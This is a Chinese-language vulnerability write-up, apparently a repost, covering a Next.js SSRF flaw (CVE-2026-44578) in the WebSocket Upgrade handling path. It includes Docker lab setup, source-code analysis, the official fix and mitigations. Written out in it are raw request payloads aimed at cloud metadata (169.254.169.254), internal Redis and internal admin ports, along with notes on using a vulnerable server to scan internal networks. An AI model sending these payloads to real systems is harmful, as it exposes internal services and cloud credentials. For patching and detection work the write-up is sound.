文章总结: 该文档详细分析了Next.js框架中的服务器端请求伪造漏洞CVE-2026-44578,漏洞源于WebSocket升级请求处理路径未实施与普通HTTP请求一致的安全检查,导致攻击者可构造恶意请求访问内部资源或云元数据。文档提供了完整的环境搭建步骤、漏洞复现方法及原理分析,包括利用Docker部署漏洞版本、发送特制WebSocket请求实现内网探测和敏感信息窃取,并解释了HTTP与Upgrade双轨安全模型的设计缺陷。 综合评分: 84 文章分类: 漏洞分析,WEB安全,漏洞POC,应急响应,红队
Next.js 服务器端请求伪造漏洞 | CVE-2026-44578复现&研究
原创
404号浪漫 404号浪漫
404号浪漫
2026年5月21日 18:10 北京
在小说阅读器读本章
去阅读
点击蓝字,关注我们
0x0 背景介绍
该漏洞源于 WеbSосkеt Uрɡrаdе 请求处理路径未应用与普通 HTTP 请求一致的安全检查策略,导致服务器会代理未经充分验证的外部目标请求。攻击者可以利用该漏洞,通过构造特制的 WеbSосkеt 升级请求,迫使 Nехt.јѕ 服务器向任意内部或外部地址发起请求,从而绕过网络边界防护,实现内网探测、敏感信息窃取以及云环境元数据服务访问等恶意行为。
#
漏洞详情
| | | — | | |
| 漏洞类型 | 影响版本 | 利用复杂度 | CVE编号 | | — | — | — | — | | 服务器端请求伪造 | 13.4.13 <= Next.js < 15.5.16 16.0.0 <= Next.js < 16.2.5 | 低 | CVE-2026-44578 |
攻击效果:
- 访问内部资源或云元数据,造成数据泄露风险。
#
0x1 环境搭建
1、创建漏洞版 Next.js 项目并构建 Docker 镜像
# 创建项目目录mkdir -p ~/cve-2026-44578 && cd ~/cve-2026-44578# 初始化 Node 项目并安装受影响版本npm init -ynpm install [email protected] [email protected] [email protected]
# 补充脚本node -e "const p=require('./package.json'); p.scripts={...p.scripts, dev:'next dev', build:'next build', start:'next start'}; require('fs').writeFileSync('./package.json', JSON.stringify(p, null, 2))"
# 创建必要文件mkdir -p pages publiccat > pages/index.js << 'EOF'export default function Home() { return ( <div> <h1>CVE-2026-44578 Test</h1> <p>Next.js SSRF via WebSocket Upgrade</p> </div> )}EOFcat > next.config.js << 'EOF'/** @type {import('next').NextConfig} */const nextConfig = { output: 'standalone',}module.exports = nextConfigEOF
# 编写 Dockerfile(多阶段构建)cat > Dockerfile << 'EOF'FROM node:20-alpine AS builderWORKDIR /appCOPY package*.json ./RUN npm ciCOPY . .ENV NEXT_TELEMETRY_DISABLED=1RUN npm run buildFROM node:20-alpine AS runnerWORKDIR /appENV NODE_ENV=productionENV NEXT_TELEMETRY_DISABLED=1RUN addgroup --system --gid 1001 nodejsRUN adduser --system --uid 1001 nextjsCOPY --from=builder /app/public ./publicRUN mkdir .next && chown nextjs:nodejs .nextCOPY --from=builder --chown=nextjs:nodejs /app/.next/standalone ./COPY --from=builder --chown=nextjs:nodejs /app/.next/static ./.next/staticUSER nextjsEXPOSE 3000ENV PORT=3000ENV HOSTNAME="0.0.0.0"CMD ["node", "server.js"]EOF
# 构建镜像docker build -t nextjs-cve-2026-44578 .
2、启动漏洞容器
docker run -d --name cve-target -p 3000:3000 nextjs-cve-2026-44578#检查docker ps | grep cve-targetcurl -s http://localhost:3000 | head -5
3、在容器内创建验证 HTTP 服务(监听 80 端口)
模拟内网环境-只是证明可以导致ssrf,如果没有,其实看log日志也能证明会发请求
# 以 root 进入容器docker exec -u root -it cve-target sh
mkdir -p /var/wwwcat > /var/www/server.py << 'PYEOF'import http.serverimport socketserverPORT = 80HTML = """<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>SSRF Confirmed!</title> <style> body { background: #1a1a1a; color: #fff; font-family: monospace; text-align: center; padding-top: 100px; } h1 { color: #ff4444; font-size: 3em; text-shadow: 0 0 20px #ff0000; } p { color: #aaa; font-size: 1.2em; } .flag { background: #ff4444; color: #000; padding: 10px 20px; display: inline-block; margin-top: 20px; font-weight: bold; border-radius: 5px; } </style></head><body> <h1>SSRF Vulnerability Exploited!</h1> <p>You have successfully read data from <strong>localhost:80</strong></p> <p>This internal service should never be accessible from outside.</p> <div class="flag">CVE-2026-44578 CONFIRMED</div></body></html>"""class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-type", "text/html; charset=utf-8") self.end_headers() self.wfile.write(HTML.encode("utf-8"))with socketserver.TCPServer(("", PORT), Handler) as httpd: print(f"Serving SSRF verification page on port {PORT} for ALL paths") httpd.serve_forever()PYEOF
# 安装 Python3apk add --no-cache python3
# 启动验证服务(后台运行)python3 /var/www/server.py &
4、验证漏洞
GET http://anything/ HTTP/1.1Host: 192.168.119.131:3000Connection: UpgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==User-Agent: Mozilla/5.0
# 或者curl发送curl -v http://localhost:3000 \ -H "Upgrade: websocket" \ -H "Connection: Upgrade" \ -H "Sec-WebSocket-Version: 13" \ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \ -H "Host: 192.168.119.131:3000" \ --request-target "http://anything/"
5、观察结果
响应返回内部搭建的服务。log也会提示发送了请求
#
0x2 漏洞复现
复现步骤(我看有公开成熟的poc了就不多做了)
1. 启动存在外部 rewrite 配置或默认路由解析能力的 Next.js 应用(next start -p 3000)。
2. 向 3000 端口发送带 Upgrade: websocket 的 HTTP 请求。
3. 将 Request-URI 设为攻击者控制的绝对 URL(含 http:// 或 https:// 协议头),例如内网元数据地址或内网服务。
4. 观察 Next.js 服务器是否作为代理,向该绝对 URL 发起出站连接(WebSocket 握手或 TCP 探测)。
2.1-复现流量特征 (PCAP)
- 项目地址:
https://github.com/Kai-One001/PCAP-For-Cybersecurity.rule/blob/main/2026/CVE_2026_44578_Next.js_SSRF.pcap
其它参考示例
内网元数据探测(AWS 风格):
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1Host: victim.example.comConnection:UpgradeUpgrade: websocketSec-WebSocket-Version:13Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==Origin: http://victim.example.com
内网 Redis 未授权探测(示例):
GET http://127.0.0.1:6379/ HTTP/1.1Host: victim.example.comConnection:UpgradeUpgrade: websocketSec-WebSocket-Version:13Sec-WebSocket-Key:RElSRUNUX1NTUkZfUFJPQkU=
内网端口扫描
GET http://10.0.0.5:8080/admin HTTP/1.1Host: app.internal.corp:3000Connection:UpgradeUpgrade: websocketSec-WebSocket-Version:13Sec-WebSocket-Key: cG9ydFNjYW5OZXh0SlM=
利用效果:通过对 host:port 的组合枚举,攻击者可借 Next.js 服务器作为跳板探测内网拓扑。不同目标的连接超时/拒绝/握手成功,可形成侧信道,绕过仅针对公网入口的防火墙策略。
#
0x3 漏洞原理分析
3.1-起点:从 upgrade 事件入手
根据CVE的描述,能推理 SSRF 通常出现在「服务器替客户端发起 HTTP 请求」的路径。Next.js 自托管架构中,外部 rewrite 代理是高频嫌疑点——但公告特别强调 WebSocket Upgrade,这提示攻击面不在常规requestHandler,而在并行存在的 server.on('upgrade') 分支。
顺着依赖安装与启动链,可以定位到:
//packages/next/src/server/lib/start-server.tsserver.on('upgrade', async (req, socket, head) => { try { await upgradeHandler(req, socket, head)
自定义 Server 场景下,packages/next/src/server/next.ts同样注册 upgrade 监听并委派给同一upgradeHandler。现在入口点确认:所有 WebSocket 升级请求都会进入router-server.ts中的专用逻辑。
3.2 HTTP 与 Upgrade 的双轨安全模型
Next.js 对外部 URL 的代理并非「见到 http:// 就转发」。设计者在 HTTP 主路径上设置了闸门:只有路由解析显式完成(finished === true)且目标 URL 携带协议时,才调用 proxyRequest
//packages/next/src/server/lib/router-server.tsif (finished && parsedUrl.protocol) { return await proxyRequest( req, res, parsedUrl, undefined, getRequestMeta(req, 'clonableBody')?.cloneBodyStream(), config.experimental.proxyTimeout ) }
- 外部代理仅服务于
next.config.js中声明的 external rewrite / redirect; resolveRoutes在处理 rewrite 时,通过prepareDestination生成带protocol的parsedDestination,并将finished置为true(见resolve-routes.ts第 796–801 行);- 攻击者随意提交的绝对 Request-URI 虽然会被
url.parse解析出protocol,但finished仍为false,HTTP 路径不会代理。
再往下看 upgradeHandler 时,发现了不同:
//packages/next/src/server/lib/router-server.ts const { matchedOutput, parsedUrl } = await resolveRoutes({ req, res, isUpgradeReq: true, signal: signalFromNodeResponse(socket), })
// TODO: allow upgrade requests to pages/app paths? // this was not previously supported if (matchedOutput) { return socket.end() }
if (parsedUrl.protocol) { return await proxyRequest(req, socket, parsedUrl, head) }
仅检查 parsedUrl.protocol,完全省略 finished 校验。
意味着攻击者只需构造GET http://内网地址/...,即可在未命中任何 rewrite 规则的情况下迫使服务器代理——与 HTTP 路径的安全策略形成鲜明反差,构成典型的同类功能、不同检查的逻辑漏洞。
3.3 追踪 parsedUrl.protocol 的来源:绝对 Request-URI 如何穿透解析
resolveRoutes 在入口处对 req.url 做标准 Node.js 解析:
//packages/next/src/server/lib/router-utils/resolve-routes.tslet parsedUrl = url.parse(req.url || '', true) as NextUrlWithParsedQuery
根据 RFC 7230,Request-URI 允许绝对形式(absolute-form)。当客户端发送:
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1
url.parse 直接产出:
| 字段 | 值 |
| — | — |
| protocol | http: |
| hostname | 169.254.169.254 |
| pathname | /latest/meta-data/ |
整个路由匹配循环结束后,若未命中静态资源,finished保持初始值 false。这对 HTTP 路径是安全的;但对 Upgrade 路径,后续的 if (parsedUrl.protocol) 仍会成立——注入点就此锁定在「绝对 URI 进入 url.parse」这一环。
在 resolve-routes.ts 中,紧跟在初始解析之后的这段代码
if (urlNoQuery?.match(/(\\|\/\/)/)) { parsedUrl = url.parse(normalizeRepeatedSlashes(req.url!), true) return { parsedUrl, resHeaders, finished: true, statusCode: 308, }}
当攻击者发送 GET http://anything/path HTTP/1.1 时:
1.urlNoQuery 包含 //,匹配正则 /(\\|\/\/)/。
2.normalizeRepeatedSlashes将http://anything/path 合并为 http:/anything/path(两个斜杠变为一个)。
3.重新调用 url.parse 解析这个被破坏的 URL,得到: • protocol: http: • hostname: null (因为 http:/anything/... 不是合法格式,主机部分无法识别) • pathname: /anything/path (路径部分仍包含原始主机名字符串,但被当作路径对待)
4.函数提前返回,将 finished: true、statusCode: 308 以及丢失了 host 的parsedUrl 交给 upgradeHandler。
因此,虽然初始url.parse能正确识别 169.254.169.254这样的目标主机,但该信息在“双斜杠规范化”步骤中被丢弃。upgradeHandler收到的 parsedUrl早已被污染,其hostname为null,这直接决定了后续代理行为的走向。
3.4 爆发点:proxyRequest 的无差别出站代理
一旦 Upgrade 分支调用 proxyRequest,底层使用内置 http-proxy,并显式开启 WebSocket 支持:
//packages/next/src/server/lib/router-utils/proxy-request.ts const target = url.format(parsedUrl) const HttpProxy = require('next/dist/compiled/http-proxy') as typeof import('next/dist/compiled/http-proxy')
const proxy = new HttpProxy({ target, changeOrigin: true, ignorePath: true, ws: true, proxyTimeout: proxyTimeout === null ? undefined : proxyTimeout || 30_000, headers: { 'x-forwarded-host': req.headers.host || '', }, })// WebSocket 分支: if (upgradeHead || res instanceof Duplex) { proxy.on('proxyReqWs', (proxyReq) => { proxyReq.on('close', () => { if (!finished) { finished = true detached.resolve(true) } }) }) proxy.ws(req, res, upgradeHead)
- changeOrigin: true 会改写 Host 头,使内网服务更易接受来自代理的连接;
- ws: true +
proxy.ws()将攻击者的 Upgrade 握手原样转发到攻击者指定的target; - 全程不存在主机白名单、私网段拦截或 DNS rebinding 防护——SSRF 危害完整释放。
- 尽管目标被强制限制在本地,但攻击者通过构造
http://<任意字符>/<恶意路径>可以完全控制请求路径。实际代理请求将变成向localhost:80发送GET /<任意字符>/<恶意路径>。
3.5 官方修复对照:一行条件背后的安全语义
官方在 15.5.16 / 16.2.5 中将 Upgrade 路径对齐 HTTP 路径,核心 diff 如下:
| 版本 | Upgrade 代理条件 |
| — | — |
| 漏洞版(≤15.5.15) | if (parsedUrl.protocol) |
| 修复版(≥15.5.16) | if (finished && parsedUrl.protocol) ,并增加 statusCode 判断 |
修复后逻辑(部分):
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({ ... })
if (finished && parsedUrl.protocol) { if (!statusCode) { return await proxyRequest(req, socket, parsedUrl, head) } return socket.end()}
finished是「路由系统已授权此外部代理」的含义;修复的本质是统一HTTP与WebSocket的授权模型,而非新增复杂的URL过滤库——说明原漏洞属于策略遗漏,并不是配置问题。
3.6 攻击链路总结
[攻击者] | | ① 发送 WebSocket Upgrade,Request-URI 为绝对 URL | GET http://169.254.169.254/... HTTP/1.1 v[start-server.ts] server.on('upgrade') | v[router-server.ts] upgradeHandler() | | ② resolveRoutes({ isUpgradeReq: true }) | url.parse(req.url) → parsedUrl.protocol 存在 | finished 仍为 false(未命中 external rewrite) v[router-server.ts] if (parsedUrl.protocol) ← 【策略缺失 / 注入点】 | v[proxy-request.ts] HttpProxy({ target, ws: true }) | | ③ proxy.ws() 向任意 host:port 发起出站连接 v[内网服务 / 云元数据 / 外网 OOB] ← 【爆发点 / 危害实现】
| 阶段 | 位置 | 说明 |
| — | — | — |
| 注入点 | req.url 绝对 URI → parsedUrl.protocol | 攻击者完全可控 |
| 策略断裂 | upgradeHandler 缺少 finished 检查 | 与 HTTP 路径不一致 |
| 爆发点 | proxyRequest → http-proxy | 服务器代为连接任意目标 |
#
#
0x4 修复建议
1、升级最新版本:升级至安全版本
| 当前分支 | 修复版本 | | — | — | | Next.js 15.x | ≥ 15.5.16 | | Next.js 16.x | ≥ 16.2.5 |
npm install [email protected] install [email protected]
2、临时防护措施:
- 限制访问:避免将业务直接暴露于不可信网络或者管理接口
- 业务限制:若业务不依赖WebSocket在边缘直接拒绝Connection: Upgrade
- 出站流量限制:为应用服务器配置Egress安全组 / 防火墙,默认拒绝所有出站,仅放行必要的外部依赖(数据库、API、对象存储等)
- 流量审查:回溯/监控是否存在针对内部IP段或云元数据端点的异常请求
附录
| 项目 | 内容 |
| — | — |
| CVE | CVE-2026-44578 |
| 核心文件 | router-server.ts 、proxy-request.ts、resolve-routes.ts、start-server.ts |
| 危害 | 内网探测、敏感信息读取、云元数据访问、带外验证 |
| 受影响部署 | 自托管 Node.js 服务器 |
| 不受影响 | Vercel 托管 |
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:404号浪漫 404号浪漫 404号浪漫《Next.js 服务器端请求伪造漏洞 | CVE-2026-44578复现&研究》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论